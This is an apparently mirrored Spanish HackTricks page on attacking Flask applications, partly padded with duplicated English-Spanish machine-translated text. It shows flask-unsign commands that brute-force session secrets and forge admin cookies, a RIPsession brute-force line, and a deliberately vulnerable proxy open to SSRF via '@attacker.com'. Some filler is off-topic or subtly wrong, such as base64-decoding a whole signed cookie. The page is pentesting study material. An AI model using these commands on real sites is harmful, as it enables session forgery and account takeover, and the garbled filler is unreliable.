mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
219 lines
14 KiB
Markdown
219 lines
14 KiB
Markdown
# Flask
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
|
Obtén acceso hoy mismo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
**Probablemente, si estás jugando un CTF, una aplicación Flask estará relacionada con** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
|
|
|
## Cookies
|
|
|
|
El nombre de sesión de la cookie por defecto es **`session`**.
|
|
|
|
### Decodificador
|
|
|
|
Decodificador de cookies Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
|
|
|
#### Manual
|
|
|
|
Obtén la primera parte de la cookie hasta el primer punto y decodifícala en Base64>
|
|
```bash
|
|
echo "ImhlbGxvIg" | base64 -d
|
|
```
|
|
La cookie también está firmada usando una contraseña
|
|
|
|
### **Flask-Unsign**
|
|
|
|
Herramienta de línea de comandos para obtener, decodificar, realizar fuerza bruta y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
|
|
|
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
|
```bash
|
|
pip3 install flask-unsign
|
|
```
|
|
#### **Decodificar Cookie**
|
|
|
|
To decode a cookie, you can use various tools and techniques. One common method is to use a base64 decoder to convert the cookie value from base64 encoding to plain text. This can be done using online tools or programming libraries.
|
|
|
|
Here is an example of how to decode a cookie using Python and the Flask framework:
|
|
|
|
```python
|
|
import base64
|
|
|
|
from flask import Flask, request
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def index():
|
|
cookie_value = request.cookies.get('cookie_name')
|
|
decoded_value = base64.b64decode(cookie_value).decode('utf-8')
|
|
return f'Decoded cookie value: {decoded_value}'
|
|
|
|
if __name__ == '__main__':
|
|
app.run()
|
|
```
|
|
|
|
In this example, we retrieve the value of the cookie named 'cookie_name' from the request object. We then use the `base64.b64decode()` function to decode the cookie value from base64 encoding. Finally, we decode the byte string to UTF-8 encoding using the `decode()` method.
|
|
|
|
Keep in mind that decoding a cookie does not necessarily mean you will be able to understand its contents. The decoded value may still be encrypted or encoded in a different format. It is important to analyze the decoded value further to determine its meaning and potential security implications.
|
|
```bash
|
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
|
```
|
|
#### **Fuerza Bruta**
|
|
|
|
Brute force, also known as brute force attack, is a common hacking technique used to gain unauthorized access to a system or account. It involves systematically trying all possible combinations of passwords until the correct one is found.
|
|
|
|
Fuerza bruta, también conocida como ataque de fuerza bruta, es una técnica de hacking comúnmente utilizada para obtener acceso no autorizado a un sistema o cuenta. Consiste en probar sistemáticamente todas las posibles combinaciones de contraseñas hasta encontrar la correcta.
|
|
|
|
This technique can be used against web applications built with Flask. Attackers may attempt to brute force the login page by submitting multiple username and password combinations until they find the correct credentials.
|
|
|
|
Esta técnica puede ser utilizada contra aplicaciones web construidas con Flask. Los atacantes pueden intentar realizar un ataque de fuerza bruta en la página de inicio de sesión, enviando múltiples combinaciones de nombre de usuario y contraseña hasta encontrar las credenciales correctas.
|
|
|
|
To protect against brute force attacks, it is important to implement strong password policies, such as enforcing complex passwords and implementing account lockouts after a certain number of failed login attempts.
|
|
|
|
Para protegerse contra los ataques de fuerza bruta, es importante implementar políticas de contraseñas fuertes, como exigir contraseñas complejas e implementar bloqueos de cuenta después de un cierto número de intentos de inicio de sesión fallidos.
|
|
```bash
|
|
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
|
```
|
|
#### **Firma**
|
|
|
|
Signing is a process used to verify the authenticity and integrity of data. In the context of web applications, signing is often used to ensure that data sent between the client and the server has not been tampered with.
|
|
|
|
La firma es un proceso utilizado para verificar la autenticidad e integridad de los datos. En el contexto de las aplicaciones web, la firma se utiliza a menudo para asegurarse de que los datos enviados entre el cliente y el servidor no han sido manipulados.
|
|
|
|
##### **Signing Cookies**
|
|
|
|
When using cookies to store session data, it is important to sign the cookies to prevent tampering. By signing the cookies, the server can verify that the data has not been modified by the client.
|
|
|
|
Al utilizar cookies para almacenar datos de sesión, es importante firmar las cookies para evitar manipulaciones. Al firmar las cookies, el servidor puede verificar que los datos no han sido modificados por el cliente.
|
|
|
|
##### **Signing JSON Web Tokens (JWT)**
|
|
|
|
JWTs are commonly used for authentication and authorization in web applications. To ensure the integrity of JWTs, they should be signed using a secret key. This allows the server to verify that the token has not been tampered with.
|
|
|
|
Los JWT se utilizan comúnmente para la autenticación y autorización en aplicaciones web. Para garantizar la integridad de los JWT, deben ser firmados utilizando una clave secreta. Esto permite al servidor verificar que el token no ha sido manipulado.
|
|
|
|
##### **Signing API Requests**
|
|
|
|
When making API requests, it is important to sign the requests to prevent tampering and ensure that they are coming from a trusted source. This can be done by including a signature in the request headers or body, which is generated using a secret key known only to the client and server.
|
|
|
|
Al realizar solicitudes de API, es importante firmar las solicitudes para evitar manipulaciones y asegurarse de que provienen de una fuente confiable. Esto se puede hacer incluyendo una firma en las cabeceras o el cuerpo de la solicitud, que se genera utilizando una clave secreta conocida solo por el cliente y el servidor.
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
|
```
|
|
#### Firma usando versiones antiguas (legacy)
|
|
|
|
When using Flask, it is important to be aware of the potential security risks associated with using legacy versions. Older versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest stable version of Flask to ensure the best security.
|
|
|
|
Cuando se utiliza Flask, es importante tener en cuenta los posibles riesgos de seguridad asociados con el uso de versiones antiguas. Las versiones antiguas de Flask pueden tener vulnerabilidades que pueden ser explotadas por atacantes. Por lo tanto, se recomienda siempre utilizar la última versión estable de Flask para garantizar la mejor seguridad.
|
|
|
|
To sign data using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `URLSafeSerializer` class that can be used to sign and verify data.
|
|
|
|
Para firmar datos utilizando versiones antiguas de Flask, puedes utilizar la biblioteca `itsdangerous`. Esta biblioteca proporciona una clase `URLSafeSerializer` que se puede utilizar para firmar y verificar datos.
|
|
|
|
Here is an example of how to sign data using the `URLSafeSerializer` class:
|
|
|
|
Aquí tienes un ejemplo de cómo firmar datos utilizando la clase `URLSafeSerializer`:
|
|
|
|
```python
|
|
from itsdangerous import URLSafeSerializer
|
|
|
|
# Create a serializer object with a secret key
|
|
serializer = URLSafeSerializer('your_secret_key')
|
|
|
|
# Sign the data
|
|
signed_data = serializer.dumps('your_data')
|
|
|
|
# Verify the signed data
|
|
verified_data = serializer.loads(signed_data)
|
|
```
|
|
|
|
```python
|
|
from itsdangerous import URLSafeSerializer
|
|
|
|
# Crea un objeto serializador con una clave secreta
|
|
serializer = URLSafeSerializer('tu_clave_secreta')
|
|
|
|
# Firma los datos
|
|
signed_data = serializer.dumps('tus_datos')
|
|
|
|
# Verifica los datos firmados
|
|
verified_data = serializer.loads(signed_data)
|
|
```
|
|
|
|
In this example, the `URLSafeSerializer` is created with a secret key. The `dumps()` method is used to sign the data, and the `loads()` method is used to verify the signed data.
|
|
|
|
En este ejemplo, se crea el `URLSafeSerializer` con una clave secreta. El método `dumps()` se utiliza para firmar los datos y el método `loads()` se utiliza para verificar los datos firmados.
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
|
```
|
|
### **RIPsession**
|
|
|
|
Herramienta de línea de comandos para realizar ataques de fuerza bruta en sitios web utilizando cookies creadas con flask-unsign.
|
|
|
|
{% embed url="https://github.com/Tagvi/ripsession" %}
|
|
```bash
|
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
|
```
|
|
### SQLi en la cookie de sesión de Flask con SQLmap
|
|
|
|
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente los payloads de sqlmap** para Flask utilizando un secreto conocido.
|
|
|
|
## Proxy de Flask a SSRF
|
|
|
|
[**En este artículo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) se explica cómo Flask permite una solicitud que comienza con el carácter "@":
|
|
```http
|
|
GET @/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
Cuál de los siguientes escenarios:
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com/'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
app.run(host='0.0.0.0', port=8080)
|
|
```
|
|
Podría permitir introducir algo como "@attacker.com" para causar un **SSRF**.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
|
Obtén acceso hoy mismo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|